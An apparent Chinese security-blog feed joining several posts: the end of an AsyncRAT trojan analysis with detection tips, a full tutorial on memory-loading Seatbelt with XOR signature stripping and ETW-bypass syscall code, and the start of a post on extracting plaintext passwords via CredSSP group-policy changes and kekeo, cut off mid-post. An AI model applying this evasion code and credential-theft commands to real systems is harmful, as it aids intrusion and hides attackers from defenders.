<p>(3)Seed Torrent</p>
<p>向目标主机发送种子文件并下载</p>
<p>目标主机需要安装uTorrent或者BitTorrent</p>
<p>(4)Remote Shell</p>
<p>弹出一个交互式的cmd窗口</p>
<p>(5)DOS Attack</p>
<p>向指定域名持续发送HTTP数据包</p>
<p>(6)Execute .NET Code</p>
<p>在目标主机上动态编译C#或者VB代码并执行</p>
<p>模板文件包含弹框和下载执行的功能</p>
<p>我提取出了其中编译C#代码并执行的功能,代码示例如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>using System;
using System.CodeDom;
using System.CodeDom.Compiler;
using System.Reflection;
namespace CodeDomProviderTest
{
class Program
{
static void Main(string[] args)
{
string source = @"
using System;
using System.Windows.Forms;
namespace AsyncRAT
{
public class Program
{
public static void Main(string[] args)
{
try
{
MessageBox.Show(""Hello World"");
}
catch { }
}
}
}";
CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
try
{
var compilerOptions = "/target:winexe /platform:anycpu /optimize-";
var compilerParameters = new CompilerParameters();
compilerParameters.ReferencedAssemblies.Add("system.dll");
compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");
compilerParameters.GenerateExecutable = true;
compilerParameters.GenerateInMemory = true;
compilerParameters.CompilerOptions = compilerOptions;
compilerParameters.TreatWarningsAsErrors = false;
compilerParameters.IncludeDebugInformation = false;
var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
if (compilerResults.Errors.Count > 0)
{
foreach (CompilerError compilerError in compilerResults.Errors)
{
Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
compilerError.Line, compilerError.Column, compilerError.FileName));
break;
}
}
else
{
Assembly assembly = compilerResults.CompiledAssembly;
MethodInfo methodInfo = assembly.EntryPoint;
object injObj = assembly.CreateInstance(methodInfo.Name);
object[] parameters = new object[1];
if (methodInfo.GetParameters().Length == 0)
{
parameters = null;
}
methodInfo.Invoke(injObj, parameters);
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}
</code></pre></div></div>
<p>(7)Files Searcher</p>
<p>搜索指定后缀名的文件并打包成zip文件</p>
<h3 id="4extra">4.Extra</h3>
<p>(1)Visit Website</p>
<p>启动默认浏览器并访问指定URL,界面不隐藏</p>
<p>(2)Send MessageBox</p>
<p>在目标主机上弹出对话框</p>
<p>(3)Chat</p>
<p>在目标主机上弹出对话框,实时显示输入的内容</p>
<p>(4)Get Admin Privileges</p>
<p>使用cmd.exe以Admin权限重新启动木马客户端,这个操作会在用户桌面弹出UAC框,需要用户选择允许后才能运行</p>
<p>如果用户未选择允许,会一直弹出UAC对话框</p>
<p>UAC对话框的程序位置会暴露木马客户端的路径</p>
<p>如果想要伪造一个更加可信的UAC对话框(不暴露程序位置)可以参考之前文章《A dirty way of tricking users to bypass UAC》中的思路</p>
<p>(5)Blank Screen</p>
<p>Run功能:</p>
<p>通过WinAPI CreateDesktop()创建一个随机名称的虚拟桌面,内容为空,当切换到这个空的虚拟桌面时,用户无法对桌面进行操作</p>
<p>Stop功能:</p>
<p>通过WinAPI SwitchDesktop()切换到原来的桌面</p>
<p>(6)Disable Windows Defender</p>
<p>通过修改注册表的方式关闭Windows Defender,通常在Win10系统上使用</p>
<p>(7)Set Wallpaper</p>
<p>设置用户的桌面</p>
<h3 id="5server">5.Server</h3>
<p>Block Clients</p>
<p>拒绝指定IP回连的木马客户端</p>
<h3 id="6builder">6.Builder</h3>
<p>(1)Connection</p>
<p>DNS:指定C2 Server的IP,可以设置多个</p>
<p>Port:指定C2 Server的端口,可以设置多个</p>
<p>Pastebin:从Pastebin.com读取C2 Server的信息,包括DNS和Port</p>
<p>内容示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>127.0.0.1:6606:7707:8808
</code></pre></div></div>
<p>(2)Install</p>
<p>用作配置木马客户端自启动的功能</p>
<p>开启这个功能后会将木马客户端复制到指定位置</p>
<p>文件名称可以重新命名</p>
<p>文件路径可选择<code class="language-plaintext highlighter-rouge">%AppData%</code>或<code class="language-plaintext highlighter-rouge">%Temp%</code>目录</p>
<p>当木马客户端以普通用户权限执行时,会在注册表<code class="language-plaintext highlighter-rouge">HKCU\Software\Microsoft\Windows\CurrentVersion\Run</code>添加项,以新的木马客户端名称作为注册表项的名称,以新的木马客户端路径作为注册表项的数据</p>
<p>当木马客户端以管理员权限执行时,会使用schtasks命令创建计划任务,命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>schtasks /create /f /sc onlogon /rl highest /tn <name> /tr <path>
</code></pre></div></div>
<p>计划任务的名称为新的木马客户端名称,会在用户登录时执行计划任务</p>
<p>(3)Misc</p>
<p>Group:对木马客户端进行分类</p>
<p>Mutex:设置互斥量,避免木马客户端的重复启动</p>
<p>Anti Analysis:</p>
<p>包括以下功能:</p>
<ul>
<li>DetectManufacturer,通过WMI获得系统信息(<code class="language-plaintext highlighter-rouge">Select * from Win32_ComputerSystem</code>),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox</li>
<li>DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()检查是否为调试器</li>
<li>DetectSandboxie,使用WinApi GetModuleHandle()检查SbieDll.dll是否存在</li>
<li>IsSmallDisk,检查硬盘大小是否小于60Gb</li>
<li>IsXP,检查系统名称是否包含字符xp</li>
</ul>
<p>Process Critica:</p>
<p>将进程设置为保护进程,如果意外关闭了保护进程,那么将导致BSOD</p>
<p>更多细节可参考之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E7%BB%93%E6%9D%9F%E8%BF%9B%E7%A8%8B%E5%AF%BC%E8%87%B4BSOD%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/">《结束进程导致BSOD的利用分析》</a></p>
<p>Delay:延迟执行的时间</p>
<p>(4)Assembly</p>
<p>可以手动设置文件属性,也可以复制指定文件的文件属性</p>
<p>(5)Icon</p>
<p>设置文件图标</p>
<p>(6)Build</p>
<p>Simple Obfuscator:通过重命名的方式实现简单的混淆</p>
<p>关键代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule)
{
ModuleDefMD module = inModule;
IRenaming rnm = new NamespacesRenaming();
module = rnm.Rename(module);
rnm = new ClassesRenaming();
module = rnm.Rename(module);
rnm = new MethodsRenaming();
module = rnm.Rename(module);
rnm = new PropertiesRenaming();
module = rnm.Rename(module);
rnm = new FieldsRenaming();
module = rnm.Rename(module);
return module;
}
}
</code></pre></div></div>
<h2 id="0x04-检测方法">0x04 检测方法</h2>
<hr />
<p>1.查找可疑文件</p>
<p>路径:<code class="language-plaintext highlighter-rouge">%AppData%</code>和<code class="language-plaintext highlighter-rouge">%Temp%</code>目录</p>
<p>2.使用Autoruns检查可疑的启动项</p>
<p>(1)注册表位置</p>
<ul>
<li>HKLM\Software\Microsoft\Windows\CurrentVersion\Run</li>
<li>HKCU\Software\Microsoft\Windows\CurrentVersion\Run</li>
</ul>
<p>(2)计划任务列表</p>
<p>3.后台可疑进程</p>
<p>AsyncRAT的木马客户端只有exe文件一种形式,在运行时会产生可疑的进程</p>
<p>4.通信流量</p>
<p>查看可疑进程对外通信流量</p>
<p>5.使用杀毒软件</p>
<p>目前杀毒软件均会对AsyncRAT进行拦截</p>
<h2 id="0x05-小结">0x05 小结</h2>
<hr />
<p>本文在技术研究的角度分析AsyncRAT的技术细节,介绍检测方法。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言内存加载Seatbelt的实现2020-08-11T00:00:00+00:002020-08-11T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BDSeatbelt%E7%9A%84%E5%AE%9E%E7%8E%B0<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p><a href="https://github.com/GhostPack/Seatbelt">Seatbelt</a>是一个C#项目,可以用来对主机进行安全检查,在进攻和防御的角度都能发挥作用。</p>
<p>通过一条命令,就能够获得当前主机的多项配置信息,方便实用。</p>
<p>为了能够扩展Seatbelt的使用场景,在不修改Seatbelt任何代码的前提下,本文将要介绍两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。</p>
<p>之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(Assembly.Load)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/">《从内存加载.NET程序集(Assembly.Load)的利用分析》</a>和<a href="https://3gstudent.github.io/3gstudent.github.io/%E4%BB%8E%E5%86%85%E5%AD%98%E5%8A%A0%E8%BD%BD.NET%E7%A8%8B%E5%BA%8F%E9%9B%86(execute-assembly)%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/">《从内存加载.NET程序集(execute-assembly)的利用分析》</a>
只介绍了向指定类的方法传入参数的实现代码</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要将介绍以下内容:</p>
<ul>
<li>Seatbelt的编译和使用</li>
<li>使用Assembly.Load加载Seatbelt并传入参数的方法</li>
<li>使用execute-assembly加载Seatbelt并传入参数的方法</li>
<li>Visual Studio2015在64位平台下使用汇编代码的方法</li>
</ul>
<h2 id="0x02-seatbelt的编译和使用">0x02 Seatbelt的编译和使用</h2>
<hr />
<h3 id="1编译">1.编译</h3>
<p>工程地址:</p>
<p>https://github.com/GhostPack/Seatbelt</p>
<p>支持.NET 3.5和4.0</p>
<p>需要使用Visual Studio2017或者更高的版本进行编译</p>
<h3 id="2使用">2.使用</h3>
<p>需要传入参数指定具体的命令,例如运行所有检查并返回所有输出:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Seatbelt.exe -group=all -full
</code></pre></div></div>
<p>详细的命令可参考项目的说明:</p>
<p>https://github.com/GhostPack/Seatbelt#command-line-usage</p>
<h2 id="0x03-使用assemblyload加载seatbelt并传入参数的方法">0x03 使用Assembly.Load加载Seatbelt并传入参数的方法</h2>
<hr />
<p>实现语言:C#</p>
<p>实现思路:</p>
<p>将Seatbelt.exe作base64编码后保存到数组中,再使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数</p>
<p>实现代码:</p>
<h4 id="1将seatbeltexe作base64编码并返回结果">1.将Seatbelt.exe作base64编码并返回结果</h4>
<p>c#实现代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{
byte[] buffer = System.IO.File.ReadAllBytes("Seatbelt.exe");
string base64str = Convert.ToBase64String(buffer);
Console.WriteLine(base64str);
}
}
}
</code></pre></div></div>
<p>可以使用Visual Studio或者直接使用csc.exe进行编译</p>
<p>.Net 3.5下使用csc.exe编译的命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe base64.cs
</code></pre></div></div>
<p>.Net 4.0下使用csc.exe编译的命令:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe base64.cs
</code></pre></div></div>
<p>编译成功后生成base64.exe,执行后获得对Seatbelt.exe作base64编码后的字符串</p>
<h4 id="2使用assemblyload作base解码后进行加载最后向main函数传入参数">2.使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数</h4>
<p>c#实现代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main(string[] args)
{
string base64str = "<base64 string>";
byte[] buffer = Convert.FromBase64String(base64str);
object[] commands = args;
Assembly assembly = Assembly.Load(buffer);
try
{
assembly.EntryPoint.Invoke(null, new object[] { commands });
}
catch
{
MethodInfo method = assembly.EntryPoint;
if (method != null)
{
object o = assembly.CreateInstance(method.Name);
method.Invoke(o, null);
}
}
}
}
}
</code></pre></div></div>
<p>将Seatbelt.exe作base64编码后的字符串替换以上代码中的<code class="language-plaintext highlighter-rouge"><base64 string></code></p>
<p>同样,以上代码可以使用Visual Studio或者直接使用csc.exe进行编译</p>
<h2 id="0x04-使用execute-assembly加载seatbelt并传入参数的方法">0x04 使用execute-assembly加载Seatbelt并传入参数的方法</h2>
<hr />
<p>实现语言:C++</p>
<p>实现思路:</p>
<p>将Seatbelt.exe的内容保存在数组中,读取后使用<code class="language-plaintext highlighter-rouge">Load_3</code>(…)加载.NET程序集,最后向Main函数传入参数</p>
<p>为了去除Seatbelt.exe的特征码,可以将Seatbelt.exe中逐个字符作异或运算后再保存到数组中</p>
<p>这里使用<a href="https://github.com/etormadiv/HostingCLR">HostingCLR</a>作为代码开发的模板</p>
<p><a href="https://github.com/etormadiv/HostingCLR">HostingCLR</a>的代码未解决参数传递的问题,无法向.NET程序集的Main函数传入参数,代码位置:</p>
<p>https://github.com/etormadiv/HostingCLR/blob/master/HostingCLR/HostingCLR.cpp#L218</p>
<p>我的代码解决了参数传递的问题,并且通过将Seatbelt.exe中逐个字符作异或运算后再保存到数组中的方式去除Seatbelt.exe的特征码</p>
<p>实现代码:</p>
<h4 id="1将exe文件中逐个字符作异或运算后再保存为新的文件">1.将exe文件中逐个字符作异或运算后再保存为新的文件</h4>
<p>c++实现代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int main(int argc, char* argv[])
{
if (argc != 3)
{
printf("File_XOR_generator\n");
printf("Usage:\n");
printf("%s <file path> <XOR inputs>\n", argv[0]);
printf("Eg:\n");
printf("%s test.exe 0x01\n", argv[0]);
return 0;
}
int x;
sscanf_s(argv[2], "%x", &x);
FILE* fp;
int err = fopen_s(&fp, argv[1], "ab+");
if (err != 0)
{
printf("\n[!]Open file error");
return 0;
}
fseek(fp, 0, SEEK_END);
int len = ftell(fp);
unsigned char *buf = new unsigned char[len];
fseek(fp, 0, SEEK_SET);
fread(buf, len, 1, fp);
fclose(fp);
printf("[*] file name:%s\n", argv[1]);
printf("[*] file size:%d\n", len);
for (int i = 0; i < len; i++)
{
buf[i] = buf[i]^ x;
}
char strNew[256] = {0};
snprintf(strNew, 256, "xor_%s", argv[1]);
FILE* fp2;
err = fopen_s(&fp2, strNew, "wb+");
if (err != 0)
{
printf("\n[!]createfile error!");
return 0;
}
fwrite(buf, len, 1, fp2);
fclose(fp2);
printf("[*] XOR file name:%s\n", strNew);
printf("[*] XOR file size:%d\n", len);
}
</code></pre></div></div>
<p>这里将Seatbelt.exe中逐个字符同<code class="language-plaintext highlighter-rouge">0x01</code>作异或运算,命令行参数如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>File_XOR_generator.exe Seatbelt.exe 0x01
</code></pre></div></div>
<p>生成文件xor_Seatbelt.exe</p>
<p>使用<a href="https://mh-nexus.de/en/hxd/">hxd</a>打开xor_Seatbelt.exe</p>
<p>将文件内容复制成C代码的格式,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-11/2-1.png" alt="Alt text" /></p>
<h4 id="2使用load_3加载net程序集最后向main函数传入参数">2.使用<code class="language-plaintext highlighter-rouge">Load_3</code>(…)加载.NET程序集,最后向Main函数传入参数</h4>
<p>完整代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR.cpp</p>
<p>在使用时需要修改代码以下位置:</p>
<ul>
<li>替换数组rawData中的内容</li>
<li>定义mscorlibPath的路径</li>
<li>定义runtimeVersion的版本</li>
</ul>
<p>代码会对数组rawData中的内容逐个字符同<code class="language-plaintext highlighter-rouge">0x01</code>作异或运算,还原出Seatbelt.exe的文件内容,再进行加载并向Main函数传入参数</p>
<p>编译后生成文件HostingCLR_with_arguments_XOR.exe,测试命令实例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HostingCLR_with_arguments_XOR.exe -group=all
</code></pre></div></div>
<p>使用Process Explorer查看进程HostingCLR_with_arguments_XOR.exe的<code class="language-plaintext highlighter-rouge">.NET Assemblies</code>项,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-11/3-1.png" alt="Alt text" /></p>
<p>能够获得.NET程序集的名称</p>
<p>如果想要隐藏.NET程序集的名称,需要绕过ETW的检测</p>
<h4 id="3绕过etw的检测">3.绕过ETW的检测</h4>
<p>这里参考代码https://github.com/outflanknl/TamperETW/</p>
<p>引入其中绕过EWT的代码,代码已上传至github,地址如下:</p>
<p>https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR_TamperETW.cpp</p>
<p>这里还需要添加asm文件<code class="language-plaintext highlighter-rouge">Syscalls.asm</code>,实现对汇编文件的调用</p>
<p>新建项,选择<code class="language-plaintext highlighter-rouge">C++文件</code>,输入文件名Syscalls.asm,具体内容如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.code
; Reference: https://j00ru.vexillium.org/syscalls/nt/64/
; Windows 7 SP1 / Server 2008 R2 specific syscalls
ZwProtectVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 4Dh
syscall
ret
ZwProtectVirtualMemory7SP1 endp
ZwWriteVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 37h
syscall
ret
ZwWriteVirtualMemory7SP1 endp
ZwReadVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 3Ch
syscall
ret
ZwReadVirtualMemory7SP1 endp
; Windows 8 / Server 2012 specific syscalls
ZwProtectVirtualMemory80 proc
mov r10, rcx
mov eax, 4Eh
syscall
ret
ZwProtectVirtualMemory80 endp
ZwWriteVirtualMemory80 proc
mov r10, rcx
mov eax, 38h
syscall
ret
ZwWriteVirtualMemory80 endp
ZwReadVirtualMemory80 proc
mov r10, rcx
mov eax, 3Dh
syscall
ret
ZwReadVirtualMemory80 endp
; Windows 8.1 / Server 2012 R2 specific syscalls
ZwProtectVirtualMemory81 proc
mov r10, rcx
mov eax, 4Fh
syscall
ret
ZwProtectVirtualMemory81 endp
ZwWriteVirtualMemory81 proc
mov r10, rcx
mov eax, 39h
syscall
ret
ZwWriteVirtualMemory81 endp
ZwReadVirtualMemory81 proc
mov r10, rcx
mov eax, 3Eh
syscall
ret
ZwReadVirtualMemory81 endp
; Windows 10 / Server 2016 specific syscalls
ZwProtectVirtualMemory10 proc
mov r10, rcx
mov eax, 50h
syscall
ret
ZwProtectVirtualMemory10 endp
ZwWriteVirtualMemory10 proc
mov r10, rcx
mov eax, 3Ah
syscall
ret
ZwWriteVirtualMemory10 endp
ZwReadVirtualMemory10 proc
mov r10, rcx
mov eax, 3Fh
syscall
ret
ZwReadVirtualMemory10 endp
end
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>Syscalls.asm的代码来自于https://github.com/outflanknl/TamperETW/blob/master/TamperETW/UnmanagedCLR/Syscalls.asm</p>
<p>Visual Studio2015在64位平台下使用汇编代码还需要作以下设置:</p>
<p>(1)鼠标右键选中<code class="language-plaintext highlighter-rouge">工程</code>-><code class="language-plaintext highlighter-rouge">生成依赖项</code>(Build Dependencies)-><code class="language-plaintext highlighter-rouge">生成自定义</code>(Build Customizations),勾选<code class="language-plaintext highlighter-rouge">masm</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-11/3-2.png" alt="Alt text" /></p>
<p>(2)鼠标右键选中文件<code class="language-plaintext highlighter-rouge">Syscalls.asm</code>-><code class="language-plaintext highlighter-rouge">属性</code>,将<code class="language-plaintext highlighter-rouge">项类型</code>(Item Type)设置为<code class="language-plaintext highlighter-rouge">Microsoft Macro Assembler</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-11/3-3.png" alt="Alt text" /></p>
<p>编译后生成文件HostingCLR_with_arguments_XOR_TamperETW.exe</p>
<p>测试命令实例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HostingCLR_with_arguments_XOR_TamperETW.exe -group=all
</code></pre></div></div>
<p>使用Process Explorer查看进程HostingCLR_with_arguments_XOR_TamperETW.exe的<code class="language-plaintext highlighter-rouge">.NET Assemblies</code>项,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-11/3-4.png" alt="Alt text" /></p>
<p>成功隐藏.NET程序集的名称</p>
<h2 id="0x05-小结">0x05 小结</h2>
<hr />
<p>本文介绍了两种通过内存加载Seatbelt的方法(Assembly.Load和execute-assembly),分别补全向.NET程序集的Main函数传入参数的实现代码。解决<a href="https://github.com/etormadiv/HostingCLR">HostingCLR</a>的参数传递问题,引入<a href="https://github.com/outflanknl/TamperETW/">TamperETW</a>的代码实现了绕过ETW,介绍了Visual Studio2015在64位平台下使用汇编代码的方法。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>0x00 前言渗透技巧——通过CredSSP导出用户的明文口令2020-08-06T00:00:00+00:002020-08-06T00:00:00+00:00https://3gstudent.github.io/backup-3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7%E2%80%94%E2%80%94%E9%80%9A%E8%BF%87CredSSP%E5%AF%BC%E5%87%BA%E7%94%A8%E6%88%B7%E7%9A%84%E6%98%8E%E6%96%87%E5%8F%A3%E4%BB%A4<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>在渗透测试中,为了获得Windows系统中的用户口令,通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且在更多情况下需要绕过系统对lsass进程的保护。</p>
<p>我在之前的文章<a href="https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-Net-NTLMv1%E4%BB%8B%E7%BB%8D/">《Windows下的密码hash——Net-NTLMv1介绍》</a>曾介绍过使用<a href="https://github.com/eladshamir/Internal-Monologue">InternalMonologue</a>获得当前用户凭据的方法(通过SSPI调用对NTLM身份验证包(MSV1_0)的本地过程调用,以计算出NetNTLM响应),不需要对lsass进程操作。</p>
<p>本文将要介绍另外一种获得当前用户口令的方法,同样不需要对lsass进程操作。</p>
<p>这是Benjamin @gentilkiwi Delpy开源的<a href="https://github.com/gentilkiwi/kekeo">kekeo</a>在2018年添加的功能,只需要修改Windows系统的组策略,就能够以普通用户的权限获得用户的明文口令。</p>
<p>本文将要对其中的原理进行简要介绍,分析不同环境下的利用思路,给出防御建议。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>实现原理</li>
<li>实现方法</li>
<li>利用分析</li>
<li>防御检测</li>
</ul>
<h2 id="0x02-实现原理">0x02 实现原理</h2>
<hr />
<h3 id="1基础知识">1.基础知识</h3>
<h4 id="credssp">CredSSP</h4>
<p>全称Credential Security Support Provider protocol</p>
<p>CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器</p>
<p>CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting)</p>
<p>CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM</p>
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/windows/win32/secauthn/credential-security-support-provider</p>
<h3 id="2通过组策略设置credssp的凭据分配">2.通过组策略设置CredSSP的凭据分配</h3>
<p>通过组策略可以指定使用CredSSP组件的应用程序是否发送默认凭据</p>
<p>组策略位置:<code class="language-plaintext highlighter-rouge">Computer Configuration</code>-><code class="language-plaintext highlighter-rouge">Administrative Templates</code>-><code class="language-plaintext highlighter-rouge">System</code>-><code class="language-plaintext highlighter-rouge">Credentials Delegation</code></p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-6/2-1.PNG" alt="Alt text" /></p>
<p><code class="language-plaintext highlighter-rouge">Allow delegating default credentials</code>表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据</p>
<p><code class="language-plaintext highlighter-rouge">Allow delegating default credentials with NTLM-only server authentication</code>表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据</p>
<p>组策略对应的注册表位置:<code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation</code></p>
<h3 id="3credssp的凭据分配在远程桌面服务上的应用">3.CredSSP的凭据分配在远程桌面服务上的应用</h3>
<p>对于工作组环境,需要启用<code class="language-plaintext highlighter-rouge">Allow delegating default credentials with NTLM-only server authentication</code></p>
<p>对于域环境,需要启用<code class="language-plaintext highlighter-rouge">Allow delegating default credentials</code></p>
<p>开启对应的组策略后,在使用远程桌面连接时,会自动发送当前用户的凭据(明文格式,不是hash)</p>
<p>数据结构如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TSPasswordCreds ::= SEQUENCE {
domainName [0] OCTET STRING,
userName [1] OCTET STRING,
password [2] OCTET STRING
}
</code></pre></div></div>
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/17773cc4-21e9-4a75-a0dd-72706b174fe5</p>
<h3 id="4实现原理">4.实现原理</h3>
<p>综上,如果我们实现以下操作:</p>
<ul>
<li>修改主机A的组策略,设置为自动发送当前用户的凭据</li>
<li>在主机B上面实现服务端的功能,接收主机A发送的请求</li>
</ul>
<p>那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令</p>
<p>CredSSP协议细节可参考:</p>
<p>https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30</p>
<p>更近一步,如果我们实现以下操作:</p>
<ul>
<li>修改主机A的组策略,设置为自动发送当前用户的凭据</li>
<li>在主机A上面实现服务端的功能,接收主机A自己发送的请求</li>
</ul>
<p>我们同样能够获得用户的明文口令</p>
<p><strong>注:</strong></p>
<p>keko的实现方式是通过SMB协议创建命名管道,而不是RDP协议</p>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-6/2-2.PNG" alt="Alt text" /></p>
<h2 id="0x03-实现方法">0x03 实现方法</h2>
<hr />
<p>通过修改注册表的方式添加组策略,命令如下:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *
</code></pre></div></div>
<p>添加组策略后,需要等待用户重新登录并输入凭据后才能生效,例如锁屏、注销或重启等</p>
<p>对于不同的网络环境,实现方法存在差异</p>
<h3 id="1工作组网络">1.工作组网络</h3>
<p>身份验证方式为NTLM</p>
<h4 id="1抓取本机口令">(1)抓取本机口令</h4>
<p>建立服务器的kekeo命令如下(普通用户权限):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp::server
</code></pre></div></div>
<p>连接服务器的kekeo命令如下(普通用户权限):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp::client /target:anyword
</code></pre></div></div>
<p>如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2020-8-6/3-1.PNG" alt="Alt text" /></p>
<p><strong>注:</strong></p>
<p>抓取本机口令时,<code class="language-plaintext highlighter-rouge">target</code>参数可以设置为任意字符</p>
<h3 id="2域网络">2.域网络</h3>
<p>身份验证方式为Kerberos</p>
<h4 id="1抓取本机口令-1">(1)抓取本机口令</h4>
<p>建立服务器的kekeo命令如下(普通用户权限):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp::server
</code></pre></div></div>
<p>连接服务器的kekeo命令如下(普通用户权限):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp::client /target:anyword
</code></pre></div></div>
<p><strong>注:</strong></p>
<p>抓取本机口令时,<code class="language-plaintext highlighter-rouge">target</code>参数可以设置为任意字符</p>
<h4 id="2抓取远程主机口令">(2)抓取远程主机口令</h4>
<p>建立服务器的kekeo命令如下(System权限):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tsssp::server
</code></pre></div></div>
<p>连接服务器的kekeo命令如下(普通用户权限):</p>
